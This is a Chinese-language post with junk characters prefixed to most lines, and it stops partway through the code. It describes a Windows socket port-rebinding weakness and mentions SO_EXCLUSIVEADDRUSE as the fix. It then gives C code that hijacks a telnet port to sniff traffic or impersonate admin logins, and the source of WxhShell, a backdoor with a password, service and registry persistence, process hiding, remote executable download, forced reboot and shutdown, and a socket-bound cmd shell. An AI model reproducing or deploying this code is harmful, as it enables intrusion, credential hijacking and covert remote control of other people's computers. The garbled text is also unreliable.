在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
14)kKWG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*^$N$t/2 SUQ}^gn] saddr.sin_family = AF_INET;
EXM/>PG -:1Gr8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w]}cB+C+l# JeSkNs|vB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5;KT-(q~ ;lPhSkD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"r `6c0Z GmWQJY X\ 这意味着什么?意味着可以进行如下的攻击:
'kONb u+i/CE#w 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#| e5 K|' ]Hje\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qm&53 $EHn;~w T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ns7l-mb J,2v~Dq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
',-X#u
(fjXp75 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:\HN?_?{4 fJ+E46|4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-T="Ml& s_e#y{{C2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X]qp~:4G kO\&mL&
qD #include
kTe<1^,m #include
'bqf?3W #include
#cg@Z #include
7!d<>_oH DWORD WINAPI ClientThread(LPVOID lpParam);
6b5{ int main()
_:z;j{@4 {
}&^bR)= WORD wVersionRequested;
hFF&(t2{^ DWORD ret;
0~I)
/T WSADATA wsaData;
}t{^*( BOOL val;
R=f5:8D<- SOCKADDR_IN saddr;
9"v ox SOCKADDR_IN scaddr;
Boz_*l| int err;
O9 r44ww SOCKET s;
?Pf
,5=*B SOCKET sc;
|HIA[.q int caddsize;
kys-~&@+ HANDLE mt;
53#5p;k
DWORD tid;
Sf8Xj|u wVersionRequested = MAKEWORD( 2, 2 );
iO#xIl< err = WSAStartup( wVersionRequested, &wsaData );
a\.?{/ if ( err != 0 ) {
z:q'?{`I printf("error!WSAStartup failed!\n");
tj Bv{ return -1;
e}@J?tJK.L }
< 2r#vmM saddr.sin_family = AF_INET;
<L[)P{jn?p H "/e% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w@D@,q'x >}`1'su saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
iDe0 5f1R saddr.sin_port = htons(23);
A}+r;Y8[h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O&1p2!Bk4 {
A=>6$L];' printf("error!socket failed!\n");
Y+PxV*"a return -1;
f;I"tugO }
_-nN(
${{ val = TRUE;
|6G5
?| //SO_REUSEADDR选项就是可以实现端口重绑定的
/]UNN~( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kUBHK"}K {
LA(JA printf("error!setsockopt failed!\n");
G5@@m- return -1;
J~ rC }
W`rE\P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_25]>D$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6#-; ,2i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
S`PSFetC Nr7.BDA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
81 Not {
oieLh"$ ret=GetLastError();
z^a?t<+ printf("error!bind failed!\n");
ZI*A0_;L return -1;
`9)2nkJk'z }
Rf$6}F
listen(s,2);
Hw3E S while(1)
, 0ja _ {
?~9X:~6\ caddsize = sizeof(scaddr);
F>nrV //接受连接请求
3m9E2R, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.}op mI if(sc!=INVALID_SOCKET)
}Qu
7o {
:Gk~FRA| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|iThgq_\z if(mt==NULL)
U*l>8 {
Xm+3`$< printf("Thread Creat Failed!\n");
`
R-np_ break;
Rla*hc~ }
`t"Kq+ }
^OsUWhkV CloseHandle(mt);
M0\[hps~X }
S5p\J!k\B closesocket(s);
^ @cX0_ WSACleanup();
9%veUvY return 0;
%zVv3p: }
y9mZQq DWORD WINAPI ClientThread(LPVOID lpParam)
*m/u 3.\ {
PhdL@Mr SOCKET ss = (SOCKET)lpParam;
BAed [ SOCKET sc;
`{[C4]Ew/ unsigned char buf[4096];
>sY+Y 22U SOCKADDR_IN saddr;
5.;$9~d long num;
]zAg6*-/B DWORD val;
p#NZ\qJ DWORD ret;
vIv3rN=5vB //如果是隐藏端口应用的话,可以在此处加一些判断
rI$10R$+H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/v<8x?= saddr.sin_family = AF_INET;
2,`mNjHh saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;hp; Rd saddr.sin_port = htons(23);
7hE=+V8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jk{2!uP {
5Uz(Bi printf("error!socket failed!\n");
Qc/J"<Lx return -1;
J~6*d,Ry` }
:36^^Wm val = 100;
<o`]wOrl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N_}Im>;! {
!I$RE?7eY ret = GetLastError();
~|]\.^B return -1;
wN.Jyb }
Ee| y[y, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<<6#Uz.1 {
bsDUFXH] ret = GetLastError();
J?DyTs3Z return -1;
)8PL7P84 }
S}yb~uc, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VUhu"h@w% {
2sq<"TlQXI printf("error!socket connect failed!\n");
C*zdHzMj closesocket(sc);
s_Gp +- closesocket(ss);
yx4c+(J^8 return -1;
cV,URUD }
`_kRvpi while(1)
qN(;l&Q {
pm|]GkM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3j#F'M)s{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
*2hzReM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
xJlq2cK num = recv(ss,buf,4096,0);
~Y[b
QuA=) if(num>0)
Wb$bCR#?< send(sc,buf,num,0);
`UPmr50Wq else if(num==0)
;# break;
B 8,{jwB num = recv(sc,buf,4096,0);
4,8 =[ if(num>0)
j'cS_R send(ss,buf,num,0);
1NJ|%+I else if(num==0)
~d]7 Cl break;
jeNEC&J }
Er`PYE
J closesocket(ss);
gE#,QOy closesocket(sc);
=0|evC return 0 ;
nIT=/{oyi }
*O2j<3CHf uLht;-`{n r6<}S( ==========================================================
$tJJ
>" %hh8\5l.: 下边附上一个代码,,WXhSHELL
~CscctD{; ?U[AE -* ==========================================================
W@Wh@eSb; z9ZAY!Zhq] #include "stdafx.h"
;E_{Zji_e -0Ek&"=Z^ #include <stdio.h>
4kEFbzwx #include <string.h>
.Dz /MSl #include <windows.h>
8X5XwFf} #include <winsock2.h>
#(G&%I A|; #include <winsvc.h>
ml2HA4X&$Y #include <urlmon.h>
=nl,5^ fq'Of
wT #pragma comment (lib, "Ws2_32.lib")
{,ljIhc, #pragma comment (lib, "urlmon.lib")
*bK@ A2` b6ddXM\Z #define MAX_USER 100 // 最大客户端连接数
9#7zjrB #define BUF_SOCK 200 // sock buffer
~gD'up@$/ #define KEY_BUFF 255 // 输入 buffer
.N 2Yxty8> 7+bzCDKU #define REBOOT 0 // 重启
kp|reKM/ #define SHUTDOWN 1 // 关机
5;*C0m2%i #</yX5!V #define DEF_PORT 5000 // 监听端口
xUUp?]9y Z:{Z&HQC #define REG_LEN 16 // 注册表键长度
Z^'; xn #define SVC_LEN 80 // NT服务名长度
kaLRI|hC L.'N'-BV // 从dll定义API
~Q0}>m,S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
([|M,P6e)U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qJsEKuOs typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g`1i[Iu2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
N C&1l] h2nyP // wxhshell配置信息
|qD<h struct WSCFG {
TV}SKvu int ws_port; // 监听端口
bhRpYP%x char ws_passstr[REG_LEN]; // 口令
B5hGzplS int ws_autoins; // 安装标记, 1=yes 0=no
-JK+{< char ws_regname[REG_LEN]; // 注册表键名
Fei$94a char ws_svcname[REG_LEN]; // 服务名
,>Q,0bVhH0 char ws_svcdisp[SVC_LEN]; // 服务显示名
5sH ee, char ws_svcdesc[SVC_LEN]; // 服务描述信息
(~~=<0S char ws_passmsg[SVC_LEN]; // 密码输入提示信息
//(c 1/s int ws_downexe; // 下载执行标记, 1=yes 0=no
.6*A~%-=[d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
BeRn9[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~H.;pJ{ 8 \a#2Wm };
NZ#z{JI=+ e)M1$ // default Wxhshell configuration
MD,-<X)Qy struct WSCFG wscfg={DEF_PORT,
`^/Q"zH "xuhuanlingzhe",
U"Y$7~ 1,
=J,:j[D( "Wxhshell",
z'm;H{xf "Wxhshell",
5BZ5Gl3 "WxhShell Service",
d@<XR~); "Wrsky Windows CmdShell Service",
'"&?u8u) "Please Input Your Password: ",
A8?>V%b[Y 1,
[":x "
http://www.wrsky.com/wxhshell.exe",
@AwH?7(b "Wxhshell.exe"
Y 4U $?%j };
AQ&;y&+QR .IqS}Rh // 消息定义模块
A6d+RAx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{_Y\Y char *msg_ws_prompt="\n\r? for help\n\r#>";
:2?du char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c~V\,lcI char *msg_ws_ext="\n\rExit.";
mxIEg?r( char *msg_ws_end="\n\rQuit.";
m{g{"=}YR char *msg_ws_boot="\n\rReboot...";
<D__17W:; char *msg_ws_poff="\n\rShutdown...";
1~+w7Ar=( char *msg_ws_down="\n\rSave to ";
5)vXmAD/0 jH8F^KJM[ char *msg_ws_err="\n\rErr!";
QxK%ZaFZA char *msg_ws_ok="\n\rOK!";
ReY K5J=O +$%o#~ char ExeFile[MAX_PATH];
z)ydQw> int nUser = 0;
'&`Zy pq HANDLE handles[MAX_USER];
K
\O,AE int OsIsNt;
qnOAIP:0 0wx`y$~R SERVICE_STATUS serviceStatus;
4x:fOhtP SERVICE_STATUS_HANDLE hServiceStatusHandle;
S&a44i g
{00i // 函数声明
;y"DEFs,u int Install(void);
ykZ)`E]P` int Uninstall(void);
vm(% u!_P int DownloadFile(char *sURL, SOCKET wsh);
Co'dZd( int Boot(int flag);
A9"ho}< void HideProc(void);
-kJ`gdS int GetOsVer(void);
8?PNyO-Wt5 int Wxhshell(SOCKET wsl);
Y!5-WXH
void TalkWithClient(void *cs);
DV.m({? int CmdShell(SOCKET sock);
+iXA|L9= int StartFromService(void);
5yry$w$G) int StartWxhshell(LPSTR lpCmdLine);
yJ^}uw Q$3%aR-2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P%1s6fjU VOID WINAPI NTServiceHandler( DWORD fdwControl );
5n_<)Ycj BUtXHD // 数据结构和表定义
YcIk{_N3 SERVICE_TABLE_ENTRY DispatchTable[] =
/t816,i {
LB>!%Vx {wscfg.ws_svcname, NTServiceMain},
NEX\+dtE~0 {NULL, NULL}
]1klfp,` };
hE>Mo$Q( |[*b[O
1W // 自我安装
GSk;~^l int Install(void)
-G{}8GM {
O%)w!0 char svExeFile[MAX_PATH];
K\uR=L7 HKEY key;
FsD}Nk=m~ strcpy(svExeFile,ExeFile);
!4|7U\; HH>]"mv // 如果是win9x系统,修改注册表设为自启动
"]sr4Jg= if(!OsIsNt) {
zgLm~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.7oz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[z?<'Tj RegCloseKey(key);
BsxQW`>^y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f;QWlh"9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`S%pD.g,2 RegCloseKey(key);
f@Db._E return 0;
-\>Xtix^-c }
4B) prQ3 }
!.9NJ2'8 }
4re^j4L~o else {
0%v
p'v n]|[|Rf1 // 如果是NT以上系统,安装为系统服务
4\t9(_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
daaurT if (schSCManager!=0)
9= :!XkT. {
v-OaH81&R SC_HANDLE schService = CreateService
P>:"\I[ (
`/"TYR% schSCManager,
@;pTQ
5
I wscfg.ws_svcname,
q")}vN wscfg.ws_svcdisp,
}E*#VA0/nY SERVICE_ALL_ACCESS,
I"r*p? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
uA,K}sNRZ SERVICE_AUTO_START,
|ONkRxr@! SERVICE_ERROR_NORMAL,
&ceZu=* svExeFile,
OD{Rh(Id NULL,
-V(5U!^B NULL,
XmLHZ,/ NULL,
)abo5 NULL,
B+,Z 3* NULL
kZfO`BVL );
_Nlx)Y R if (schService!=0)
gzxLHPiw {
?k#-)inf) CloseServiceHandle(schService);
=xg pr*
CloseServiceHandle(schSCManager);
DT;Hr4Z8^" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{um~] strcat(svExeFile,wscfg.ws_svcname);
hmQD-E{Ab if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dKhDO`.s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y!}BmRLh2 RegCloseKey(key);
V*LpO8= return 0;
rT <=`9^{ }
}]kzj0m }
{l![{ CloseServiceHandle(schSCManager);
^[!LU }
K@ 6$|.bc }
ji:JLvf]% >{V]q*[/;Q return 1;
S&FMFXF@ }
` O-$qT,_ m%ak ]rv([ // 自我卸载
a,!c6'QE int Uninstall(void)
d-lC|5U% {
Za5*HCo HKEY key;
Gw$U0 HA[, c)+IX;q-C if(!OsIsNt) {
0Kq\ oMn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~#N^@a RegDeleteValue(key,wscfg.ws_regname);
MYDAS- RegCloseKey(key);
Mvu! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:(N3s9:vz RegDeleteValue(key,wscfg.ws_regname);
^|(F|Z RegCloseKey(key);
XzkC ]e' return 0;
UJ2Tj+ }
g#W )EXUR }
?tSFM:9PU }
Syo1Dq6z. else {
b1R%JY7/S 6l<q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X*/jna"* if (schSCManager!=0)
ZU5hHah.t {
7jvf:#\LtL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}]'Z~5T if (schService!=0)
Quqts(Q) + {
0PjWfM8% if(DeleteService(schService)!=0) {
\GEFhM4) CloseServiceHandle(schService);
"o+<
\B~ CloseServiceHandle(schSCManager);
I5
"Z return 0;
9m/v^ }
r1}YN<+,s CloseServiceHandle(schService);
W^Wr }
amK"Z<V F CloseServiceHandle(schSCManager);
TkM8GK-3 }
q]DV49UK }
C5c@@ch : ia?{]!7$ return 1;
4 bw8^ }
VE`5bD+%e Ys|tGU // 从指定url下载文件
.i)
H1sD int DownloadFile(char *sURL, SOCKET wsh)
<j+DY@* {
T8bk \\Od HRESULT hr;
/PafIq char seps[]= "/";
ZBUEg7c char *token;
~xerZQgc char *file;
[Abq("9p\ char myURL[MAX_PATH];
w^6rgCl char myFILE[MAX_PATH];
m0DD|7}+ KmG*`Es strcpy(myURL,sURL);
W1dpKv token=strtok(myURL,seps);
ycz6-kEp while(token!=NULL)
)"`(+Ku&c {
ph
qx<N@ file=token;
<l opk('7 token=strtok(NULL,seps);
P-o/ax }
U-&dn%Sq |3<tDq@+ GetCurrentDirectory(MAX_PATH,myFILE);
]%>7OH' strcat(myFILE, "\\");
|qnAqzK| strcat(myFILE, file);
aAhXHsZ|26 send(wsh,myFILE,strlen(myFILE),0);
t6(LO9 Qc send(wsh,"...",3,0);
.jA'BF. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
WhQK3hnm if(hr==S_OK)
^cs:S-s return 0;
bFD
vCF else
@ qy
n[C return 1;
q~ ]S5 ux`)jOQ`Y] }
<&^P1x<x _4Z|O] // 系统电源模块
|Ii[WfFA|J int Boot(int flag)
Aru=f~! {
FOV%\=Hl HANDLE hToken;
v'na{" TOKEN_PRIVILEGES tkp;
$a.fQ<,\X k<(G)7'gm if(OsIsNt) {
lQ(I/[qVd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-5B>2K F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(cAWT, tkp.PrivilegeCount = 1;
50kjX} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tUU`R{=( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8S/SXyS if(flag==REBOOT) {
*'[8FZ|dQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@-ps[b`z return 0;
?&A)%6` ~ }
w*#B_6bG else {
}x!=F<Q!r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]z3!hgTj return 0;
>n3w'b }
uy'm2 }
G8AT]
= else {
paCC'*bv if(flag==REBOOT) {
:x88 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
oHh~!#u return 0;
11Sflj }
m03D+@F else {
f4[fXP;A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@N+ }cej return 0;
NN>E1d= }
Ad7N'1O }
A.- j5C4 jR1t&UD3Y return 1;
E&>3 {uZI }
tV.qdy/]} 8.JFQ/)i // win9x进程隐藏模块
7 6 nrDE void HideProc(void)
4gD;X NrV {
Dnk} 8`g@
)]Iy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*ay&&S* if ( hKernel != NULL )
&k53*Wo {
Bk)E]Fk| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}SD*@w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_EHz>DJ9 FreeLibrary(hKernel);
omdoH? }
\G4L+Q/13 ;[nomxu|? return;
vNWCv }
X 8/9x-E_ 2><=U7~ // 获取操作系统版本
/6fa
7; int GetOsVer(void)
X%X`o%AqC {
<DeC^[-P OSVERSIONINFO winfo;
|NMf'$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|; [XZ ZZ GetVersionEx(&winfo);
qe/dWJBa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"kb[}r4? return 1;
~?6M4!u
else
~W/|RP7S return 0;
IN^dJ^1+ }
OkNBP0e} 78~;j1^6u // 客户端句柄模块
J^w!?nk int Wxhshell(SOCKET wsl)
<ztcCRov {
\|@u)n_ SOCKET wsh;
Z-U-n/6I struct sockaddr_in client;
wn1` 9 DWORD myID;
qX9x#92 ~SzHIVj:6 while(nUser<MAX_USER)
Nh^
lC {
4
*n4P int nSize=sizeof(client);
I@/s&$H`l wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JX)%iJq# if(wsh==INVALID_SOCKET) return 1;
wjzR 8g0bQ Qr.SPNUFK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Uf,fd if(handles[nUser]==0)
l@W1bS closesocket(wsh);
*DDqa?gQb else
b}APD))*H! nUser++;
HpKF7oJ'N }
7jS`4, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
HuI?kLfj\ UwtL vd return 0;
5mqwNAv }
'g5 Gdn UG !+&ii| // 关闭 socket
90Sp( void CloseIt(SOCKET wsh)
0FAe5
BE7
{
9 $&$Fe closesocket(wsh);
-bP_jIZF;g nUser--;
dy'
J~Eo7 ExitThread(0);
Ss~yy0 }
k>.n[`>$6| $n#NUPzG+ // 客户端请求句柄
^]zC~LfG void TalkWithClient(void *cs)
']&rPvkL {
zz m[sX} x{_3/4 SOCKET wsh=(SOCKET)cs;
q)f-z\ char pwd[SVC_LEN];
w7E7r?)Wl| char cmd[KEY_BUFF];
+tCNJ<S@l$ char chr[1];
OD8{
/7 int i,j;
1@Gmzh
o"gtWAGH while (nUser < MAX_USER) {
Dg=!d)\ u*6Y>_iA if(wscfg.ws_passstr) {
umuE5MKY< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$! R]!s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%AJTU3=0 //ZeroMemory(pwd,KEY_BUFF);
\- f^C}m i=0;
&:?2IAe while(i<SVC_LEN) {
A(@VjXl `#3FvP@& // 设置超时
"o}}[hRP fd_set FdRead;
=}K"@5J struct timeval TimeOut;
Q<O(Ix FD_ZERO(&FdRead);
[/Vi*Z FD_SET(wsh,&FdRead);
oYmLJzCf TimeOut.tv_sec=8;
78UE?) X" TimeOut.tv_usec=0;
%0Mvd;#[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
pd\x^F`sk. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i XPe (x!Tb2mlk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GwM(E^AG pwd
=chr[0]; 2A(?9
R9&h
if(chr[0]==0xd || chr[0]==0xa) { YIn
H8Ex
pwd=0; vPce6 Cl*
break; kn9e7OO##
} Yc3Rq4I'G
i++; Wz+7CRpeP
} x='T`*HD
vrX@T?>
// 如果是非法用户,关闭 socket [X^Oxs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZW@%>_JR]
} z@Uf@~+U
5Z_ 7Sc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [k{2)g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b^^ .$Gu
Q:^.Qs"IK
while(1) { oD.[T)G?
TfnBPO
ZeroMemory(cmd,KEY_BUFF); I6vy:5d
U'p-Ko#
// 自动支持客户端 telnet标准 $mu*iW\{
j=0; L_O*?aaZ
while(j<KEY_BUFF) { d1BE;9*/7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Rd{`5.D
cmd[j]=chr[0]; &xLCq&j1
if(chr[0]==0xa || chr[0]==0xd) { Op5S'
cmd[j]=0; ?2nF1>1
break; LQz6op}R
} fWs @ZCt
j++; 'Da*MGu9
} C
)J@`E
srQ]TYH ,
// 下载文件 M37GQvo
if(strstr(cmd,"http://")) { 73kU\ux
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0WI@BSHnM
if(DownloadFile(cmd,wsh)) HY2*5#T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eufGU)M
else g:eqB&&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^\Epz*cL
} C
@nA*
else { I%M"I0FV
GV0-"9uwX~
switch(cmd[0]) { 1"wZ [.
?rxq//S2
// 帮助 $2w][ d1
case '?': { u3vM !
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9p4=iXfR
break; Xj5oHHwn
} %$[#/H7=W
// 安装 .D{He9
case 'i': { *W-:]t3CR
if(Install()) brEA-xNWQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u"gtv
else Xkp?)x3~X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zVvL!
break; *ry}T=
} -gB9476-
// 卸载 :r4o:@N'
case 'r': { -]Y@_T.C
if(Uninstall()) 3eERY[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pD17r}%
else 6wq>&P5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .R]DT5
break; %:}o\ _w
} n?:%>O s$
// 显示 wxhshell 所在路径 VT [TE
case 'p': { -?p4"[
char svExeFile[MAX_PATH]; {Jc.49
strcpy(svExeFile,"\n\r"); Om_-#S
strcat(svExeFile,ExeFile); ;<l#k7 /
send(wsh,svExeFile,strlen(svExeFile),0); >
JV$EY,
break; YL&)@h
} Q!y%N&
// 重启 `8/D$
case 'b': { J%FF@.)k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;6M [d
if(Boot(REBOOT)) z\`tnz7>$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vYg>^!Q
else { n7/>+V+
closesocket(wsh); Hu$y8_Udw
ExitThread(0); <DZ$"t
} hQ (84u
break; t76B0L{
} ^X;p8uBo
// 关机 6aKfcvf &
case 'd': { nc^DFP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +_1sFH`
if(Boot(SHUTDOWN)) weH3\@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UDW_?SHAx
else { g#:P cl
closesocket(wsh); [\e/xY(4
ExitThread(0); JbAmud,
} SQDfDrYP
break; rXR!jZ.hi
} FfNUFx2N
// 获取shell &%`WXe-`R
case 's': { X?U'GLm
CmdShell(wsh); H[RX~Xk2E
closesocket(wsh); 8n35lI(
[
ExitThread(0); Y @Ur}
break; e}+Zj'5
} K3k{q90
// 退出 @{"?fqo
case 'x': { MK(~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s:3b. *t<
CloseIt(wsh); !Ahxi);a
break; NfWL3"&X
} bTt1y O
// 离开 F*T$n"^
case 'q': { K /$-H#;N
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <$u\PJF7_^
closesocket(wsh); !/e*v>3u&
WSACleanup(); wC?$P
exit(1); /gn!="J
break; @b!W8c 6
} i5aY{3!
} G@txX
'
} ~@DdN5
x4K A8
// 提示信息 @N]]Cf>x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lg~ll$
U
} G6dUm_iB
} m}7Nu
cn Ohj
return; A*g-pJh
} OA^6l#
Y?$
// shell模块句柄 'Y.6sB
int CmdShell(SOCKET sock) &?$mS'P
{ aS``fE;O
STARTUPINFO si; |`xM45
ZeroMemory(&si,sizeof(si)); ,m8mh)K?0>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (vp#?-i
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /+1(,S
PROCESS_INFORMATION ProcessInfo; FGzKx9I9
char cmdline[]="cmd"; 2;(+]Ad<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w+wtr[;wwL
return 0; d<6m_!L
} CXi[$nF3
bjo}95
// 自身启动模式 9s1^hW2%Q
int StartFromService(void) 7Ie=(x8):
{ *%Fu/
typedef struct 5+Ao.3Xn
{ txvo7?Y*4
DWORD ExitStatus; O4Q"2
DWORD PebBaseAddress; `?O0)
DWORD AffinityMask; C57m{RH
